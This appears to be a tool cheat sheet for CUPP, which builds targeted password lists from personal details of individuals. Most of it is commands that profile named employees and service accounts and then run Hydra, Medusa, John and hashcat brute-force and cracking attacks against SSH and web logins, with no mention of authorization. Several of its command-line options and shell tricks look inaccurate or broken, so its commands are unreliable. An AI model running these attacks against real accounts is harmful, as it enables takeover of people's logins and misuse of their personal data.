Salta ai contenuti

Cupp

CUPP (Common User Passwords Profiler) is an intelligent wordlist generator that creates custom password lists based on target-specific information. It uses OSINT data to generate likely passwords for specific users.

Installation

Linux/Ubuntu

# Clone repository
git clone https://github.com/Mebus/cupp.git
cd cupp

# Make executable
chmod +x cupp.py

# Optional: Create symbolic link
sudo ln -s $(pwd)/cupp.py /usr/local/bin/cupp

macOS

# Install via Homebrew
brew install cupp

# Or from source
git clone https://github.com/Mebus/cupp.git
cd cupp
python3 -m pip install -r requirements.txt

Basic Usage

Interactive Mode

# Start interactive profiling session
python3 cupp.py -i

# Answer prompts for:
# - Target name
# - Surname
# - Birthdate
# - Birthplace
# - Company
# - Position
# - Pet names
# - Hobbies
# - Other interests

Command-Line Options

OptionDescription
-i, --interactiveInteractive mode (guided questionnaire)
-w, --wordlist <FILE>Use existing wordlist as base
-l, --leetAdd leetspeak variations
-u, --uppercaseAdd uppercase variations
-d, --downloadDownload common wordlists from GHDB
-f, --file <FILE>Input file with target data
-o, --output <FILE>Output file for wordlist
-m, --minlen <NUM>Minimum password length
-M, --maxlen <NUM>Maximum password length
-v, --verboseVerbose output

Interactive Profiling

Complete Profile Creation

# Run interactive mode
python3 cupp.py -i

# Expected prompts and typical responses:
# Target name: john
# Target name (surname): smith
# Birthdate (DD/MM/YY): 15/06/1985
# Birthplace: london
# Company: acme-corp
# Company position: admin
# Pet names: fluffy,rover
# Hobbies: gaming,football
# Other interests: cars,travel

# Output: john.txt (wordlist file)

Output Wordlist

# Generated wordlist includes variations like:
john
smith
john15
smith1985
fluffy
rover
gaming
football
cars
travel
john@1985
smith2001
fluffy123
# ... plus many more combinations

Command-Line Generation

From User Data

# Create wordlist file with user information
cat > user_profile.txt << EOF
Target name: admin
Surname: user
Birthdate: 01/01/1990
Birthplace: newyork
Company: corporation
Position: administrator
Pet names: max
Hobbies: coding
EOF

# Generate wordlist
python3 cupp.py -f user_profile.txt -o admin_wordlist.txt

# Add leetspeak
python3 cupp.py -f user_profile.txt -o admin_leet.txt -l

# Add uppercase variations
python3 cupp.py -f user_profile.txt -o admin_upper.txt -u

Advanced Techniques

Leet Speak Variations

# Enable leetspeak for advanced obfuscation
python3 cupp.py -i -l

# Common leetspeak mappings:
# a -> 4
# e -> 3
# i -> 1
# o -> 0
# s -> 5
# t -> 7
# l -> 1

Length Filtering

# Generate passwords of specific length
python3 cupp.py -i -m 8 -M 16

# Short passwords (8-10 chars)
python3 cupp.py -f profile.txt -o short.txt -m 8 -M 10

# Long passwords (16+ chars)
python3 cupp.py -f profile.txt -o long.txt -m 16 -M 20

Combining with Hydra

# Generate wordlist with CUPP
python3 cupp.py -i -o target_wordlist.txt

# Use with Hydra for SSH
hydra -l admin -P target_wordlist.txt ssh://target.com

# Use with Hydra for HTTP
hydra -l admin -P target_wordlist.txt http-post-form://target.com/login:user=^USER^&pass=^PASS^:Invalid

Using CUPP Dictionary

# Download and use GHDB wordlist
python3 cupp.py -d

# Generate from downloaded list
python3 cupp.py -w downloaded_wordlist.txt -o enhanced.txt -l

Real-World Profiling Scenarios

Target: IT Admin

# Collect OSINT data
# Name: Robert Johnson
# Works at: TechCorp
# Position: IT Manager
# Hobbies: Linux, security, running
# Created with CUPP:

python3 cupp.py << EOF
robert
johnson
18/04/1982
manchester
techcorp
it manager
spike
linux
security
running
EOF

# Enhanced versions
python3 cupp.py -i -l > robert_leet.txt
python3 cupp.py -i -u > robert_upper.txt
cat robert_leet.txt robert_upper.txt | sort -u > robert_full.txt

Target: Company Employee

# Profile multiple employees from LinkedIn/company page
cat > employees.txt << EOF
name:john
surname:smith
company:acme
position:developer
hobbies:python,git,aws
EOF

python3 cupp.py -f employees.txt -o employee_wordlist.txt

# Test all variations
# john, smith, asmith, jsmith, john_smith, etc.

Wordlist Enhancement

Combining CUPP Output with Other Lists

# Generate CUPP wordlist
python3 cupp.py -i -o cupp_base.txt

# Combine with existing wordlists
cat cupp_base.txt rockyou.txt | sort -u > combined_wordlist.txt

# Add variations
echo "$(cat cupp_base.txt)123" >> cupp_base.txt
echo "$(cat cupp_base.txt)!" >> cupp_base.txt
echo "$(cat cupp_base.txt)2024" >> cupp_base.txt
sort -u cupp_base.txt > final_wordlist.txt

Create Targeted Lists

# For SSH bruteforce
python3 cupp.py -i -m 8 -o ssh_wordlist.txt

# For web applications
python3 cupp.py -i -l -u -o web_wordlist.txt

# For specific user account
python3 cupp.py -f admin_profile.txt -o admin_custom.txt -l

# Combine multiple sources
cat cupp_admin.txt cupp_default.txt rockyou.txt | sort -u > complete_wordlist.txt

Integration with Other Tools

With Hydra

# Generate custom wordlist
python3 cupp.py -i -o my_wordlist.txt

# Use with Hydra
hydra -L users.txt -P my_wordlist.txt -s 22 ssh://target.com -t 4

# HTTP form login
hydra -l admin -P my_wordlist.txt http-post-form://target.com/login:username=^USER^&password=^PASS^:F=incorrect

With John the Ripper

# Generate wordlist for rules-based cracking
python3 cupp.py -i -o target_base.txt

# Apply John rules
john --wordlist=target_base.txt --rules hashfile.txt

# Or with hashcat
hashcat -m 0 hashes.txt target_base.txt

With Medusa

# Create targeted wordlist
python3 cupp.py -f profile.txt -o medusa_list.txt -l

# Run Medusa
medusa -h target.com -u admin -P medusa_list.txt -M ssh -t 4

Practical Examples

Example 1: Target Employee from LinkedIn

# OSINT gathering:
# Name: Sarah Johnson
# Company: Acme Corporation
# Position: Database Administrator
# Location: Seattle
# Birthday: July 1985
# Interests: Gardening, Travel

# Create wordlist
python3 cupp.py << 'EOF'
sarah
johnson
01/07/1985
seattle
acme
administrator
gardening
travel
EOF

# Output wordlist includes:
# sarah, johnson, sarah01, johnson85
# sarahj, sjohnson, sj1985
# gardening, travel, sarah_gardening
# Plus leetspeak: s4r4h, j0hn50n, g4rd3n1ng

Example 2: Service Account Profiling

# For automated service accounts
python3 cupp.py << 'EOF'
svc
backup
prod
service
sql
datacenter
monitoring
EOF

# Target likely variations used in corporations
# Results help crack service account passwords

Tips and Tricks

Maximize Wordlist Effectiveness

# Create profile-specific wordlist
python3 cupp.py -i -o base.txt

# Generate multiple variations
python3 cupp.py -i -o base.txt
python3 cupp.py -i -l -o leet.txt
python3 cupp.py -i -u -o upper.txt

# Combine and deduplicate
cat base.txt leet.txt upper.txt | sort -u > full.txt

# Count results
wc -l full.txt

Focus on Common Patterns

# Most likely passwords include:
# - Name + numbers (john123, sarah2024)
# - Name + company name (johnacme, sarah_corp)
# - Simple variations (john, J0hn, john!)
# - Hobbies (gardening123, travel2024)

# CUPP generates all these automatically

Troubleshooting

Large Wordlist Size

# If wordlist becomes too large
wc -l output.txt

# Filter by length
awk 'length > 6 && length < 16' wordlist.txt > filtered.txt

# Use only most common patterns
grep -E '^[a-z]+[0-9]{1,4}$' wordlist.txt > likely.txt

Improving Accuracy

# Collect more OSINT data:
# - Multiple hobbies
# - Partner/family names
# - Company information
# - Pet names
# - Sports/interests

# More data = better wordlist
python3 cupp.py -i
# Spend time answering all questions thoroughly

Best Practices

  • Collect thorough OSINT before generating wordlist
  • Include multiple hobbies and interests
  • Combine with date variations
  • Test shorter passwords first (most likely)
  • Use with appropriate rate limiting in attacks
  • Document the profile used for wordlist generation
  • Review top 100 passwords first
  • Combine CUPP output with other wordlists for breadth
  • Use leet and uppercase variations for modern systems
  • Validate findings against actual target password policies

Last updated: 2025-03-30 | CUPP GitHub